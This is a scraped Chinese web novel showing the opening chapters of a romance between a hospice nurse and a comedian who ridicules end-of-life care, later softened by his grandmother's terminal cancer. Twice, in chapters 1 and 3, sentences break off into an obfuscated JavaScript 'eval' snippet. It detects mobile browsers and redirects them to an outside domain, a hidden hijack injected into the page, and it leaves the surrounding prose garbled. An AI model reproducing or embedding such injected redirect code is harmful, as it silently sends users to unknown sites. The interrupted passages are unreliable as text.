《昭昭慕慕》 1. 第1章 《昭昭慕慕》 星河听澜/文 晋江文学城首发 【第一章】 四月的星海市浸在倒春寒里,医院走廊的迎春花却开得恣意。 温昭将听诊器挂在脖子上,轻轻推开病房门。晨光透过半拉的窗帘斜斜地洒进来,在洁白的床单上勾勒出一道金边。 职业习惯让她在门口顿了足有两秒。 病床上起伏的呼吸频率比昨天快了0.5次/分钟,这是疼痛加剧的前兆。 “早上好,林阿姨。”温昭走到床边,声音温柔,“昨晚睡得怎么样?” 病床上的老人缓缓睁开眼。 “温丫头…”皮包骨的手刚抬起就直抖,“又疼了一宿……这身子啊怕是熬不过清明了。” “胡说!”温昭有条不紊地调整着止痛泵,指腹在老人手背上轻轻摩挲,“您答应要教我做糖葫芦,可不能耍赖。” 她歪头笑了笑,伸手拉开窗帘。阳光一下子泼进来,满室亮堂,“您看,今天太阳这么好,我下午啊推您去散散步。” “温医生——” 实习护士走到温昭旁边,压低声音,“十号床那个新来的…又把监测仪砸了!” “把7床的止痛药准备好,我一会儿过来。”温昭轻轻拍了拍林阿姨的手,这才起身。 走廊尽头的十号病房里,传来一阵阵摔东西的声响,夹杂着男人的怒骂。 温昭深吸了一口气,推门而入。 “啪——” 推门的瞬间,玻璃杯在脚边炸开,碎片四溅,有一片甚至擦着她的裤脚飞过去。 “滚出去!谁让你进来的!”病床上的男人约莫五十出头,瘦得颧骨高耸,一双眼睛亮得骇人。他半坐在摇起的病床上,右手还维持着投掷的姿势,病号服纽没扣好,露出狰狞的手术疤痕。 温昭蹲下,把碎片捡起来,转头对着一旁的护士说:“再清扫一下,小心点。” “好。” 她走进病房,将手中的碎片扔进垃圾桶。 “陆先生,我是您的责任护士温昭。”还顺手调整了歪斜的输液架,“您有任何需要可以直接告诉我。” 陆铭庭冷笑一声:“需要?我需要你们这些假慈悲的白大褂干嘛,离我远点!” 他指着胸口的疤痕,“看看!你们所谓的治疗就是把人切开再缝上,最后再说句‘我们尽力了’?” 温昭没急着辩解,等他发泄完,递过去一杯温水。 “您说得对,现代医学有很多时候都无能为力。”她直视着他充血的眼睛,声音平静,“但在这里,我们的字典里没有放弃,只有让您舒服些。您能告诉我,现在最想解决的难题是什么吗?” “死!我他妈要死了!”他突然暴起,输液管随着颤抖的身体摇晃,“你们谁都救不了我!这还不够难?!” 她翻开病历本记录生命体征,语气很平淡:“您胰腺癌Ⅳ期伴肝转移,疼痛数字评分7分。现在为您调整PCA方案,基础剂量0.5ml/h,单次追加剂量0.2ml。” 陆铭庭突然安静下来,眯起眼睛打量她:“你不害怕吗?” 他阴郁地问,“站在一个快死的人面前,听着他发疯,你不怕他突然做些什么?” 害怕? 她笔尖顿了顿。 这个词对临终关怀科的护士来说,早就免疫了。毕竟,隔三差五就有病人崩溃、怒吼、摔东西,甚至动手。 她停下笔,唇角弯了弯:“沈先生,我在这儿工作两年,被泼过水,砸过餐盘,还挨过一记耳光。不过,后来,打我的那位老太太也道歉了,说她只是太害怕……害怕再也下不了床。” 他表情微微松动。 “我们称呼每一位病人为‘战士’,因为和疾病共处的每一天,都是战斗。”她合上病历本,抬眼看他,声音轻却坚定,“现在,能允许我为您打止痛针吗?” 陆铭庭盯着她看了几秒,泄了气似的靠回枕头上。 他本来还想闹,可眼前这个人……好像什么都不怕。你摔东西,她捡;你骂人,她听;你崩溃,她就等你冷静。 他只好沉默地伸出了手,晨光爬上他枯瘦的手腕,也爬上温昭弯弯的眼角。 这是温昭在松康医院临终关怀科室工作的第二个年头。 短短两年已经送走了上百位病人,同事们都说她有一双可以抚平死亡伤痛的手,但只有她自己知道,真正的临终关怀不在于精湛的技术,而是微不足道却至关重要的“看”。 看他们,是一个个活生生的人,而不是一具具即将衰竭的躯体。 - 正午的阳光穿透门窗,打在走廊上。温昭拎着食堂打包的盒饭转过长廊拐角,一楼大厅空荡荡的,只有护士站传来轻微的键盘敲击声。 她刚要走进休息室,却脚步一顿。 106病房的磨砂玻璃上,斜斜映着一道颀长的黑影。那人戴着黑色渔夫帽,口罩严严实实裹到鼻梁,手指正悬在门把上方。 看着不像是家属,倒像是小偷。 她眯了眯眼,放轻脚步靠近。 病房里传来小护士讲故事的声音,透过门缝,她看见床上躺着一个熟睡的老人。她有点印象,老人半个月前出了车祸,命保住了,却成了植物人。 而门外,那个可疑的男人依然专注地盯着门缝,丝毫没察觉身后多了个人。 “您好,先生,您找谁?” 那人猛然转身,帽檐扫过她耳畔,惊起几缕碎发,隔着黑色口罩,除了那双漆黑的眼眸温昭什么也看不清。 “哦,走错了。”男人声音压得很低。 不等她反应,黑色风衣已经擦着她的肩膀掠过,带起一阵清爽的柑橘香。 一愣神的功夫,病房门“吱呀”一声开了。 “温医生?”小护士端着保温桶探出头,“您来查房吗?” 她再回头时,走廊尽头早就没人了。 谁也没注意到刚才那场短暂的碰面。 - 一个难得的周末,阳光透过纱帘洒在床上,温昭正蜷在被窝里睡得香甜。 突然间,手机嗡嗡的床头柜上震动,打破了原有的宁静。 “唔……” 她迷迷糊糊地伸手去够,指尖在柜面上摸索了好几下才抓到手机。 是闺蜜林晚打来的电话。 “喂——”温昭的声音松松软软的,带着浓浓的睡意。 “我的昭昭宝贝!都十二点了还睡呢?”电话那头传来林晚元气十足的声音,“猜猜我搞到什么好东西了?” 温昭把脸埋进枕头里,含糊地应了声:“嗯?” “当当当当!祁慕脱口秀的门票!就是那个把《当代年轻人精神状态》讲上热搜的天才!今晚七点半的场次!”林晚的声音很激动,“陪我去嘛~求求你啦~” 温昭揉了揉眼睛,对这个名字有点印象。 她刷到过类似的视频,冷幽默的段子像裹着糖的玻璃渣,总能精准戳中当代人的痛点。可比起这些,她倒是更喜欢躺在床上睡大觉。 但架不住林晚的软磨硬泡,她最终还是答应了。 …… 傍晚时分,琥珀色的晚霞渐渐褪去。温昭刚收拾完,林晚就打来了电话。 “昭昭!我到你家楼下了!快下来!” “来了来了。” 温昭刚拉开副驾驶车门,就被林晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286404|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一把拽住手腕使劲晃。 “你看你看!”林晚激动地把手机怼到她面前,屏幕上正在播放祁慕的最新短视频。 画面里的男人慵懒地靠在墨绿色丝绒沙发上,修长的手指随意地搭在腿上,声音带着散漫的态度:“今天给大家讲个冷笑话……” “啊啊啊!看到没!这侧脸!这声音!”林晚都快把指甲戳进屏幕,“简直就是人间理想啊!” 温昭瞥了眼视频里模糊的侧影,心想这人的声音倒是清冽,像冰镇过的薄荷酒。 不过,光是一个侧脸就说是帅哥? 在她的想象中,脱口秀演员要么是圆滚滚的可爱型,要么是天生自带喜感的长相,怎么也没法和“极品帅哥”联系起来。 等她们到,剧场外早已聚满了人。 作为当下最火的脱口秀演员,祁慕的粉丝们举着蓝色应援灯牌,三三两两地聚在一起,空气中都飘着兴奋的因子。 两人顺着人潮挤进内场。 温昭惊讶地发现林晚搞到的票居然是第二排正中间的位置,舞台上的每个细节都能看得一清二楚。 “你从哪弄来的票?” “秘密~” 话音刚落,全场灯光骤然熄灭。 一束追光灯“啪”地打在舞台中央,照出一个修长的身影。工装裤包裹的长腿迈上台阶的刹那,全场顿时爆发出震耳欲聋的尖叫。 “祁慕——祁慕——” 男人抬手做了个噤声的手势,喧闹的场馆瞬间安静。 灯光下,几缕挑染的银发泛着冷光。他随意地将话筒抵在唇边,肩线凌厉,宽肩窄腰的身形拉出完美的倒三角。 这哪里是脱口秀演员!? 分明是男、模! 林晚:“怎么样!是不是很帅!!” 温昭不得不承认,这次林晚真的没夸张。 舞台上正在调试设备的男人有着令人过目难忘的相貌,瑞凤眼,眼尾有颗小痣。他抬起头时,薄唇微扬,脖颈处的青筋随着动作起伏,禁欲中透着说不出的性感。 他的段子也确实精彩,温昭也被逗得合不拢嘴。 直到—— “最近我发现有个职业特别有意思,叫临终关怀护士,大家都有听说过吗?”他随意转着话筒线,银发在灯光下闪着细碎的光,“就是那种…怎么说呢,特别会安慰人的职业。” 温昭微微坐直了身子。 “你们知道吗,现在有种服务,专门陪人聊天、看电视,叫做临终关怀护士。”"他歪了歪头,语气带着几分玩味,“我就纳闷了,这跟普通护士有什么区别?不都是照顾病人吗?” 台下响起几声轻笑。 “最神奇的是,”他继续道,“他们能让每个病人都保持微笑,就像…就像只是来医院度假一样。” 他耸了耸肩,“我就在想,这得需要多强大的…嗯,演技啊。” 温昭的手指攥紧了几分,修剪整齐的指甲陷入掌心。 “你们说,”他突然抬头,目光若有似无地扫过观众席,“晚期肝癌,肿瘤转移,止痛针都打到极限了,这时候说谎的人,到底算善良还是冷酷?” 林晚明显感觉到身边的温昭身体一僵。 她担忧地看向她,只见那双总是温柔的眼睛此刻正死死盯着舞台,眼眶微微发红。 祁慕的目光在扫过第二排时突然顿住。 有个穿着米色针织衫的姑娘,头发有些散,一双好看的桃花眼正直直地注视着他。不是崇拜,不是痴迷,而是一种…他说不上来的复杂情绪。 他停下表演,唇角勾起玩味的弧度,薄荷嗓音带着试探,透过音响传了出来。 “这位观众,你觉得呢?” 2. 第2章 整个场馆瞬间安静下来,所有人都顺着他的目光看向温昭。 祁慕握着黑色麦克风架,银发被顶光染成霜色,眼角泪痣泛着冷冽的光,戏谑开口:“这位女士,你觉得他们是善良天使,还是贩卖希望的骗子?” 工作人员小跑着递来话筒,温昭接过时指尖触到什么冰冷的温度。 她轻笑了一声,梨涡在脸颊上旋出温柔陷阱:“您说他们是骗子?那我倒想问问,当您在台上说‘生活总会好起来’时,算不算在给观众兜售精神止痛药?” “您见过止痛泵开到最大剂量时的病房吗?监测仪的警报声里,有人数着窗外最后几片落叶,就为了等女儿从国外赶回来见最后一面。”话筒将她清润的嗓音传遍全场,“每句‘会好起来的’,都是让他们相信,哪怕只剩最后一天,也值得被温柔以待。” 那张本该浸着江南烟雨的温婉面容,此刻却似淬了盛夏骄阳的光焰。眼睛微挑时,眼尾的弧度不再是春水含情,倒像两簇野火。 祁慕的银发随着偏头的动作晃了晃。 他低笑出声:“所以你觉得,用童话故事麻醉病人,比让他们直面现实更高尚?” 他尾音危险地上挑。 “这周三中午,"他漫不经心地继续说,眉梢挂着三分讥诮,"我在医院看见个小护士,正给一个垂危的老人读信。信里说‘妈您放心,我现在学着自己做饭了,昨天炖的排骨汤味道还不错,等您好起来做给您尝’。我想问问,明知道对方即将死去,这种无意义的表演给谁看?” 温昭瞳孔骤然紧缩,记忆在此刻不合时宜的回涌。 前几天? 她突然想到大前天的中午。 那个戴着帽子,戴着口罩奇奇怪怪站在病房门口的男人。 难道是他? 所以他是认出了她,才故意叫的? 目的就是为了讥讽她的职业? 温昭垂眸,再抬眼时,声线变得冰冷:“原来祁老师也会去医院啊。您当然不会懂。那位昏迷的张奶奶,每次听这些话时心率都会平稳好几个点。”她指尖无意识掐进掌心,“而她这周五刚去世。当她女儿在病床边哭到晕厥时,是您口中的表演让她相信,妈妈最后时刻听见了最安心的那句‘我会好好吃饭、好好睡觉,把日子过好,您别惦记’。” 她抬起头,眼尾泛起薄红:“倒是某些站在聚光灯下自以为‘人间清醒’的人,把垂死之人最后的体面碾碎成段子,这才是对生命最大的傲慢。” “……” 剧场里响起此起彼伏的窸窣声。 毕竟谁能想到,向来舌绽莲花的“毒舌笑匠”,此刻竟被怼得哑口无言。 而且显然是温昭更占理。 凝滞的空气里,唯有两人无声对峙。 祁慕银发下的脸紧绷如弦,眉峰凛冽,幽暗的眼底藏着波涛。 而温昭却自若垂眸整理衣角的动作却带着医者特有的从容。 两人之间的低气压,直到工作人员说“中场休息”才渐渐消散。 祁慕看了温昭,扭头去了后台。 助理小跑着追上来:“阿慕你今天怎么回事?平时怼评委怼观众都游刃有余,怎么被个小姑娘……” 他停下脚步,冰冷的眼眸看向他,话音戛然而止:“我说的哪句不是事实?” 他松了松领口继续说:“他们做的这些不过都是无用功,救不了人,只能感动自己!” 助理的手机突然间疯狂震动。 热搜榜上#祁慕怼临终关怀师的词条正以肉眼可见的速度攀升。 “我靠!已经有营销号把现场视频剪成九宫格了!”他手指发抖地划着屏幕,“他们坐天线上吧!传得这么快!这下完了,公关部今晚怕是要通宵……” 祁慕烦躁地将台本揉成一团。 掀开幕布时,二排中央那两个座位早已空空如也,只剩扶手上半瓶没喝完的矿泉水。 中场休息后,林晚就拉着温昭往剧场外走去。 “什么冷面笑匠,根本就是冷血机器!居然拿这么伟大的职业和病人的痛苦当梗,他的良心是被脱口秀稿子腌入味了吗?” 说着林晚怒气冲冲地打开微博,动作利落地取关祁慕超话。 头像上的粉丝勋章轰然坠落:“早知道他是这种人,当初打死我也不会买VIP票!” 林晚想到什么,顿住脚步,双手捧住温昭的脸:“昭昭你别往心里去,他就是被掌声惯坏的混蛋,根本不懂生命有多珍贵!” “你放心吧,没计较,我还怼的挺爽的。” “真的?” “嗯……” “那就好,咱们回家!” 夜风拂过发梢,温昭悄悄回头看了眼剧场灯火通明的轮廓。 说完全不在意是假的。 这世上总有人觉得,当医学走到尽头时,温柔就成了最廉价的谎言。 就像此刻剧场里那个银发男人,大概永远都不会明白,为什么有人愿意在病房里,为素不相识的生命每天读者几封信…… - 深夜的月色照进屋内,温昭在床上翻来覆去,睡衣蹭过床单发出窸窣声响。 她反复想起今天祁慕、陆铭庭,甚至还有之前一些患者的话: “需要?我需要你们这些假慈悲的白大褂干嘛,离我远点!” “晚期肝癌,肿瘤转移,止痛针都打到极限了,这时候说谎的人,到底算善良还是冷酷?” “……” 床头的手机突然震动,一连串微博信息跳了出来: 热搜上赫然挂着—— #祁慕被怼 #脱口秀演员嘲讽临终关怀引争议 #临终关怀=诈骗? 温昭的手指悬在屏幕上方,评论区密密麻麻的“诈骗”、“虚伪”的话语漫过屏幕。 某个百万粉大V的发言尤为刺眼:“打着临终关怀旗号贩卖希望,不过是高级心理按摩罢了。” 更离谱的是,评论区已经成粉黑大战的战场,“临终关怀”四个字被恶意涂抹成黑色表情包。 温昭看着那些评论,气不打一处来! 台灯“咔嗒”亮起,她拿出一旁的手机支架,利落地支好。珍珠发夹别住散落的发丝,她对着镜头整理了下睡裙的褶皱,深吸了一口气。 “大家好,我是温昭,今天脱口秀里被点名的临终关怀护士,也是一名临终关怀科的医生。”她对着镜头浅浅一笑,“今天想和大家聊聊,什么是真正的临终关怀。” “很多人问,我们是不是就陪着病人等死?”她轻轻摇头,碎发在颊边晃动,“其实我们做的,是在生命最后的路途中点亮一盏灯。每天清晨,我们会像对待新生儿一样,为无法起身的老人擦拭每一道皱纹。你们知道吗?一个恰到好处的枕头角度,能让癌痛发作的病人多睡半小时安稳觉。” “……” 她对着镜头娓娓道来,视频发布的时候已经九点半了。 这会儿祁慕的工作室里,公关团队刚把热搜压下去,手机又开 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“随它去。”他轻声自语,“不过是自欺欺人。” - 周一清晨的阳光斜斜切过楼道,温昭刚跨出家门,就瞧见隔壁王阿姨家的防盗门大敞着,几个搬家纸箱堆在走廊上。 “王阿姨,您这是……”温昭话音未落,老人已经转身来。 “哎哟昭昭啊!我儿子在滨海买了房子,说要把我接过去,这不整理行李嘛。”她笑着,又说,“等安定下来,阿姨给你寄最肥的大闸蟹!” “好!谢谢王阿姨,那我先去上班了!” “去吧。” 一到医院休息室,温昭刚解开外套扣子,就被同事们团团围住,周围的空气中烧着八卦的火苗。 “快说说!祁慕真在节目上怼咱们这职业?”最活泼的小护士一把拉住温昭的袖子,“网上都传疯了!” 温昭一边换上护士服,一边把事情经过娓娓道来。听完后,休息室里顿时炸开了锅。 “他那张脸那么帅,怎么能说出那么冷血的话!”护士长气得直拍桌子,“真是金玉其外败絮其中!” 温昭倚着储物柜,发梢还残留着洗发水的茉莉花香。窗外,被雨水洗过的香樟树在晨光中发着亮光,她想起昨晚刷微博时看到的热搜—— #祁慕被怼# #临终关怀的意义# 评论区里有人被她的反驳看哭,有人开始搜索临终关怀志愿服务。 就连她那个只有几个粉丝的个人微博,一夜之间涨了20多万关注。 “他递了把火,”温昭突然轻笑出声,梨涡轻漾,“只是没想到,烧起来的是让更多人看见生命温度的光。” 也值了。 和往常一样,温昭换上护士服开始了一天的工作。为卧床老人擦拭身体、调整舒适的睡姿、握着病人的手轻声安慰。唯一不同的是,她开始用手机记录下这些平凡而温暖的瞬间,准备做成“临终关怀护士的一天Vlog”。 下班时,晚霞将云朵染成了绛紫色。温昭拖着略显疲惫的脚步走进小区电梯,刚按下关门键,电梯门突然被一只修长的手抵住。 戴着黑色口罩的男人脚步顿了顿,走了进来,卫衣下摆带起若有似无的柑橘香气,有些熟悉。 温昭下意识往旁边让了让,低头盯着自己的鞋尖。 “好巧,温医生……” 3. 第3章 温昭猛地抬头,正对上一双熟悉的、带着戏谑的眼睛。 男人修长的手指勾住口罩边缘,缓缓摘下。 一张轮廓分明的脸撞进视线。长睫微垂,眼眸漆黑,高挺的鼻梁下,嘴角噙着一抹淡笑。 祁、祁慕!!? 温昭呼吸一滞,握着手机的指节不自觉地收紧。 他怎么在这儿??? 她愣了半响,电梯已经到了五层。 “你怎么在这儿?” “我当然住这儿。” “你…住这儿?” 温昭一脸不可置信。 她在这栋楼住了两年半,连楼下养的橘猫有几根胡子都数清了,却从没见过这位大明星。 “叮咚——” 电梯到了十二层。 她迅速挂上职业假笑:“那您自便。”说完,快步往外走,却听见身后不紧不慢的脚步声如影随形。 脚步声越来越近。 她心跳陡然加速:自己不过是蹭了他一个热搜,不至于要追到门口吧…… 她硬生生转过身:“……祁、老、师。” 这个称呼念得她舌尖发苦。 就这种在舞台上把临终关怀当段子讲的人,也配叫老师? 可直呼其名又显得太过奇怪。 “您还有何贵干?” 祁慕双手插兜,懒洋洋地掀了掀眼皮:“怎么,这走廊是你家的?我走两步还得跟你打报告?”不过他也没料到这件事。 温昭一噎,刚想反驳,却见他长腿一迈,径直走到1201门口,手指一挑,钥匙在指间转了个圈。 “咔哒——”一声,门锁应声而开。 “——1201?!” “你住这儿??” 祁慕动作一顿,缓缓回头,唇角勾起一抹欠揍的弧度:“哟,温医生这是多惊讶?难道我住这儿还得先跟你递申请?”他眯了眯眼,语气戏谑,“还是说……你其实是我粉丝,偷偷打听到我住这儿,故意搬来隔壁?” “……” 温昭懒得再跟他废话,转身就往自家门口走,钥匙插进锁孔极用力,像是要把它捅穿。 身后,祁慕慢悠悠的声音再度飘来:“温医生,火气别这么大,锁坏了,那可真危险了。” “……” “砰——”她甩上门,震得楼道声控灯从十二楼亮到了十五楼。 这应该是她为数不多破防的一次。 …… “什么?!"电话那头的林晚拔高音调,惊得温昭不得不把手机拿远了些,“祁慕住你隔壁?!” “嗯……”温昭把包轻轻放在沙发上。 “我去!昭昭!”林晚惊得声音发颤,“这也太刺激了吧!要不要姐妹现在杀过来保护你?” “不用了……”她无奈地揉了揉太阳穴,瞥了眼桌上堆积的文件,“我先挂了,还有几个方案要写。” 挂断电话,温昭望着窗外渐沉的暮色发呆。 1201的阳台就在她家隔壁,中间只隔着一道窄窄的防火梯。 这个认知让她太阳穴突突直跳。 - 第二天一早,温昭轻手轻脚地关上门,却在转身的瞬间僵住了脚步。 祁慕正站在电梯旁,银发翘起一撮,见她出来,他微微挑眉,眼底闪过一丝意味不明的光。 温昭下意识放慢脚步,假装整理包带,余光瞥见电梯门缓缓闭合。 “不走?”祁慕单手撑住电梯门。 她一愣,抬手看了眼腕表,七点四十。 不想走,但必须得走。她咬了咬下唇,最终还是迈进了这个狭小的空间。 电梯开始下行,密闭的空间里只有轻微的机械运转声。 温昭紧贴着另一侧的墙壁,站在祁慕身后,目光落在不断跳动的楼层数字上。 但又不自觉的瞥向那个一米九的高个儿。 他头发翘起一边,格外好笑,和舞台上那个冷面笑匠的形象反差太大。温昭努力地憋着笑。 祁慕不知何时回头看向她。 她急忙抿住嘴角,等他转回去后,又恢复了温婉的假笑。 一阵手机铃声打破了沉默。 祁慕看了眼来电显示,滑动接听键:“喂,外婆?” 电话那头不知道说了什么,温昭只看见他手指骤然收紧。 “什么?!”他声音陡然提高,“好,我马上过来!” 电梯“叮”的一声到达一楼,祁慕几乎是冲了出去。 温昭怔怔地望着他匆忙离去的背影,白衬衫衣角在晨风中翻飞。 - 到了松康医院。 祁慕一路飞奔到抢救室门口。 陈琳正攥着病历本在走廊上来回踱步,见到他来立即迎上前:“阿慕。” “外婆呢?”祁慕气息未平,他目光死死盯着抢救室上方亮着的红灯,喉结艰难地滚动了一下。 “医生在抢救。”陈琳把皱巴巴的缴费单塞给他,“今早我买菜回来,就看见老太太倒在门口,怎么叫都叫不醒,我这心啊害怕啊。”她说着抹了抹眼角。 祁慕接过单据时,指尖都在发抖。 这个在荧幕上永远游刃有余的男人,此刻白衬衫的后背全被冷汗浸透了。 “多亏您了。”他声音沙哑得不成样子,“医药费还有这月的护工费我待会都转您。” “阿慕啊……”陈琳欲言又止,“老太太天天念叨你,说要等你回来,阿姨知道你们当明星的忙,可老人家今年都七十八了,你要多陪陪她。” 他的肩膀瞬间垮了下来。 陈琳看着这个瞬间佝偻下来的背影,终是叹了口气:“你先守着,我回去给老太太拿换洗衣物。” 待脚步声远去,他慢慢滑坐在长椅上,靠着椅背,仰头看着天花板,一滴泪水无声地滑过下颌。 …… 一个小时后,抢救室的指示灯由红转绿。 他几乎是弹起来的,三步并作两步冲到门前。白炽灯下,他眼尾泛起的红血丝清晰可见。 “医生,我外婆怎么样。” 主治医师摘下口罩,疲惫地揉了揉眉心:“胃出血止住了,但,”他顿了顿,“老人家胃癌中期转晚期,这次晕厥是长期未规范治疗导致的。” 祁慕踉跄着后退半步:“胃癌?” 医生示意他跟上。 会诊室里,电脑屏幕亮起刺眼的白光,CT影像上那片阴影让祁慕呼吸一滞。 “三个月前病灶还局限在胃小弯处。”医生敲了敲屏幕,“但老人家抵抗力太差,上个月一场感冒再加上长期不治疗,现在已经扩散。”鼠标滑到最新影像时,那片阴影已经像蛛网般扩散开来。 他握紧了拳头。 想起上个星期视频的时候,外婆总把镜头转向窗台上的多肉,她笑着说“小感冒而已,你好好工作,不用管我”。 这么想来,那时候外婆的脸色就已经不对劲,只不过自己没太注意。 自责从他心底蔓延开来。 “现在的情况,手术和化疗风险都太高。”医生指了指屏幕,“我建议转到临终关怀科,至少能让老人家……” 临终关怀四个字在祁慕耳中响起,像一根针刺进耳膜。 他最厌恶的就是这个科室,那些只会说漂亮话的医生,在他眼里就是一群无能的骗子! “就是等死的意思?” “临终关怀是指对于像你外婆那样重症患者提供症状缓解,心理支持,更大程度上减少痛苦,你外婆如今的情况如果手术,那么会更加危险。” “没有……其他方法了吗?” 医生摇头的幅度很轻,却让祁慕整个人晃了晃。 窗外不知何时下起了雨,雨滴在玻璃上蜿蜒成泪痕。 “我认识一个医生,也是临终关怀科室的,你需要的话我可以帮你介绍。” “我再想想……” - VIP病房的灯光很柔和,却照得病床上的人格外瘦小。他站在病房门口,手搭在门把上许久,才推门进入。外婆躺在床上,脸色苍白,手上布满了老年斑。 过了好久,麻醉剂的效果过了,老人缓缓睁开眼。 她试图抬手摸他的脸,却只是动了动手指:“阿慕来啦……” 祁慕立刻俯下身,将老人的手贴在自己脸颊。 “怎么又瘦了……”外婆眼里泛起水光,“工作很辛苦吧?” “不辛苦。”他声音哑得厉害,有些发颤,“外婆,为什么…不告诉我?” 老人笑了笑:“告诉你有什么用呢?你又要飞回来,又要耽误工作……” 她突然咳嗽起来,瘦弱的肩膀在病号服下剧烈颤抖。 祁慕慌忙去按呼叫铃,却被外婆拉住衣角。 “阿慕…”外婆的呼吸缓慢,“外婆老了,这是自然规律……外婆啊不想再折腾来折腾去了,只想让我们阿慕好好的……” 老人皱了皱眉,手指无意识地揪紧了被单。 “外婆?”祁慕立刻俯身,“哪里不舒服?” “没事…”老人勉强扯出个笑,冷汗却已经浸湿了枕头,“就是…有点疼。” 疼。 这个字像把刀插进祁慕心脏。 他记忆闪回刚刚医生说的话—— “临终关怀是指对于像你外婆那样重症患者提供症状缓解,心理支持,更大程度上减少痛苦,你外婆如今的情况如果手术,那么会更加危险。” “我认识一个医生,也是临终关怀科室的,你需要的话我可以帮你介绍。” …… 他嘴皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16286406|182617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微微发颤:“外婆,你先休息,”他掖被角的手在发抖,“我去…打个电话。” “好。” 走廊的灯光惨白。 祁慕站在会诊室门前,掌心贴着冰凉的门把手,却像被抽走了全身力气。 犹豫了好一会儿。 “叩叩——” “请进。” “我……”祁慕的喉结滚动了几下,“请帮我安排…临终关怀。” 最后四个字轻得几乎听不见。 “行,我给你安排。你到时候直接去隔壁临终关怀科室找温医生” “温医生?”祁慕猛地抬头,“温…昭?” “你认识?” “一点点。”他苦笑道。 命运总是如此捉弄人,偏要把他最厌恶的东西塞到他手里。祁慕靠在医院冰冷的墙壁上,自嘲地扯了扯嘴角。前几天还在舞台上嘲讽临终关怀的他,今天却要亲手把外婆送进去。 真是讽刺得让人发笑。 - 另一边,温昭刚挂断电话。 她将手中吃到一半的盒饭盖上:“小周,待会帮我给3床喂下饭,记得把鱼刺挑干净。” “又有新的病人了?” “一个胃癌晚期的老太太。”温昭整理着衣服,“家属要求转到我们这儿。” 会诊室的闹钟不紧不慢地走着。 这是温昭第三次抬腕看表,分针已经划过约定时间十五分钟。 “温医生!”小护士急匆匆推开门,“16床吃完饭之后,就一直吐,您过来看下吧!” “我马上来。”温昭拉开抽屉取出听诊器。 门开的瞬间,一阵熟悉的柑橘气息扑面而来。温昭猝不及防撞进一个坚实的胸膛,听诊器“啪嗒”掉在地上。 抬眸的刹那,她呼吸一滞。 祁慕站在门口,头发已经缭乱,眼睛里布满了红血丝,和白天看到的完全不同。 “你…” 祁慕的嘴唇动了动,却没能发出声音,那双总是带着戏谑的瑞凤眼,此刻翻涌着复杂的情绪。 温昭弯腰捡起听诊器:“祁老师这么敬业,又来收集素材?”她勾起唇角,笑意却不达眼底,“可惜我现在有病人要处理,没法配合您取材。” 说完,她利落地从祁慕身边擦肩而过。 走廊尽头传来断断续续的呻吟声。 温昭快步走向16床,推开门的瞬间,消毒水混着呕吐物的刺鼻气味扑面而来。两位护士正在床边忙碌,病床上的老人面色灰败。 “持续呕吐多久了?”温昭戴上手套,指尖轻轻按压老人腹部。 “半小时左右,突然发作的。” 温昭的指腹在老人胃部触到明显的硬块,眉头微皱:“准备5mg昂丹司琼静脉注射,再开一支甲氧氯普胺。”她声音轻柔却不容置疑,“把床头抬高30度,准备胃肠减压。” 当胃管插入的瞬间,老人痛苦地抽搐起来。 温昭立即握住那双布满皱纹的手:“阿婆,跟着我呼吸,对,慢慢来……” …… “先观察半小时,如果还吐就按铃。” “好。” 转身时,她看见祁慕静默地站在病房外。 她走到他身边,笑了笑:“祁老师,连这种场面都要观摩?看到您想要的素材了吗?” 祁慕的目光落在她沾了污渍的白大褂上:“我来办理入住。” 温昭愣了愣神,她没听错吧? 办理入住?? 所以刚刚说要转来的病患家属,是祁慕? 她有些没反应过来:“……你跟我来吧。” 会诊室的百叶窗半开着,将阳光切割成细碎的金片,温昭示意他坐下。 “刘医生说的家属…”她打开电脑上的病历记录,“是你啊。” 祁慕突然笑了:“你是不是想问,最讨厌临终关怀的人,现在却要求着你们收治。” 温昭抬眸看他。 “是讨厌。”他顿了顿,“包括现在。” 温昭只觉得好笑:“那还来?” 窗外一阵风过,吹散了桌上的检查单。 两人同时弯腰去捡,祁慕的手擦过她的指尖,他触电般缩回手,却看见温昭已经将检查单翻转过来。 CT影像上那片阴影触目惊心。 “因为…”他的声音突然哽咽住,“她说她疼……” 温昭呼吸一滞。 眼前这个散漫不羁的男人,此刻眼眶通红,修长的手指死死攥着报告单,指节泛白。一滴泪砸在CT影像上,晕开了那片阴影的轮廓。 她叹了口气,递过纸巾,却在半空被他猛地握住手腕,掌心滚烫带着轻微的颤抖。 “温昭……” “救救我外婆……用你的方式。” 4. 第4章 温昭有些愣了神。 她怎么也想不到,那个在舞台上把临终关怀当段子讲的人,此刻会红着眼眶站在她面前,要把最亲的人托付给他最瞧不上的医生。 阳光透过百叶窗,在他脸上投下长长的光影。他低垂着眼睑,脸上还挂着未干的泪痕。 “祁慕,”她声音轻软,“你知道的,我们只能……”她顿了顿,把“无能为力”四个字咽了回去,“只能陪着她,让她走得舒服些。” “我知道,”他声音沙哑的厉害,“就按你们的方式来……别让她疼得睡不着觉。” 窗外香樟树沙沙作响,一片些许发黄的叶子打着旋儿落在窗台上,又被春风吹走。 温昭望着他紧绷的下颌线:“你……决定了?” 沉默在诊室里蔓延。 他的睫毛轻轻颤动,许久,才“嗯”了一声。 那声音很轻,却重重地落在两人之间的空气里。 “行,那你待会去办下住院手续,今天下午就可以把病人接过来了。” 